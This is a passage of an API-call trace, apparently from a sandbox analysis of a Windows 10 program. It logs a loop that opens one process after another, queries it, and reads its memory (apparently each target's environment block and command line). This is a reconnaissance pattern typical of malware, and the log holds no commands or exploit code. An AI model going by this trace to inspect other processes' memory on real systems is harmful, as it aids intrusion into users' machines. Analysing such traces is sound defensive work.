ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.864] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.865] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.865] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.865] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.866] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.868] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.868] malloc (_Size=0x8c) returned 0x196ef0d5640 [0269.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46197c, lpBuffer=0x196ef0d5640, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5640*, lpNumberOfBytesRead=0x0) returned 1 [0269.869] free (_Block=0x196ef0d5640) [0269.869] CloseHandle (hObject=0x464) returned 1 [0269.870] _ui64tow_s (in: _Value=0xd88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3464") returned 0x0 [0269.874] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3464") returned 4 [0269.876] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.876] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0269.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd88) returned 0x464 [0269.923] GetLastError () returned 0x0 [0269.924] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0269.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0269.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0269.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0269.925] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0269.926] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0269.927] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0269.928] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0269.928] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0269.928] malloc (_Size=0x68) returned 0x196ef0d0610 [0269.928] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1958, lpBuffer=0x196ef0d0610, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0269.929] free (_Block=0x196ef0d0610) [0269.930] CloseHandle (hObject=0x464) returned 1 [0269.931] _ui64tow_s (in: _Value=0xd98, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3480") returned 0x0 [0269.937] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3480") returned 4 [0269.939] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0269.939] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.054] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd98) returned 0x464 [0270.054] GetLastError () returned 0x0 [0270.055] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.055] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.055] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.055] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.056] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc18f8, lpBuffer=0x670f7c2b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.057] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.058] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.058] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.058] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.059] malloc (_Size=0x88) returned 0x196ef0fac30 [0270.059] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1978, lpBuffer=0x196ef0fac30, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fac30*, lpNumberOfBytesRead=0x0) returned 1 [0270.060] free (_Block=0x196ef0fac30) [0270.061] CloseHandle (hObject=0x464) returned 1 [0270.061] _ui64tow_s (in: _Value=0xda0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3488") returned 0x0 [0270.066] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3488") returned 4 [0270.068] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.068] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.124] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xda0) returned 0x464 [0270.124] GetLastError () returned 0x0 [0270.125] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.125] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.126] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.127] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.129] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.129] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.129] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.129] malloc (_Size=0x9e) returned 0x196ef0d7120 [0270.129] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56198e, lpBuffer=0x196ef0d7120, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7120*, lpNumberOfBytesRead=0x0) returned 1 [0270.130] free (_Block=0x196ef0d7120) [0270.131] CloseHandle (hObject=0x464) returned 1 [0270.132] _ui64tow_s (in: _Value=0xdb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3504") returned 0x0 [0270.138] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3504") returned 4 [0270.140] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.140] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.162] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb0) returned 0x464 [0270.162] GetLastError () returned 0x0 [0270.194] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.194] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.195] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.195] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.195] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.197] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.198] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.199] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.199] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.199] malloc (_Size=0x64) returned 0x196ef0d0370 [0270.199] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1954, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0270.200] free (_Block=0x196ef0d0370) [0270.201] CloseHandle (hObject=0x464) returned 1 [0270.202] _ui64tow_s (in: _Value=0xdb8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3512") returned 0x0 [0270.207] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3512") returned 4 [0270.209] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.209] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.234] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb8) returned 0x464 [0270.234] GetLastError () returned 0x0 [0270.235] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.235] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x581d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5818f8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.238] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.239] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.239] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.240] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.240] malloc (_Size=0x8a) returned 0x196ef0d62c0 [0270.240] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x58197a, lpBuffer=0x196ef0d62c0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d62c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.241] free (_Block=0x196ef0d62c0) [0270.278] CloseHandle (hObject=0x464) returned 1 [0270.279] _ui64tow_s (in: _Value=0xdc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3528") returned 0x0 [0270.285] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3528") returned 4 [0270.286] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.286] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdc8) returned 0x464 [0270.309] GetLastError () returned 0x0 [0270.309] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.309] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.312] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.314] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.314] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.314] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.314] malloc (_Size=0x76) returned 0x196ef0d2120 [0270.314] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0270.315] free (_Block=0x196ef0d2120) [0270.316] CloseHandle (hObject=0x464) returned 1 [0270.316] _ui64tow_s (in: _Value=0xdd0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3536") returned 0x0 [0270.328] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3536") returned 4 [0270.329] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.329] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.347] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x464 [0270.347] GetLastError () returned 0x0 [0270.347] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.347] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.348] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.348] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.348] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.349] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.351] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.351] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.351] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.351] malloc (_Size=0x60) returned 0x196ef0d0610 [0270.351] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1950, lpBuffer=0x196ef0d0610, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0270.352] free (_Block=0x196ef0d0610) [0270.353] CloseHandle (hObject=0x464) returned 1 [0270.353] _ui64tow_s (in: _Value=0xde0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3552") returned 0x0 [0270.359] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3552") returned 4 [0270.360] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.360] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", 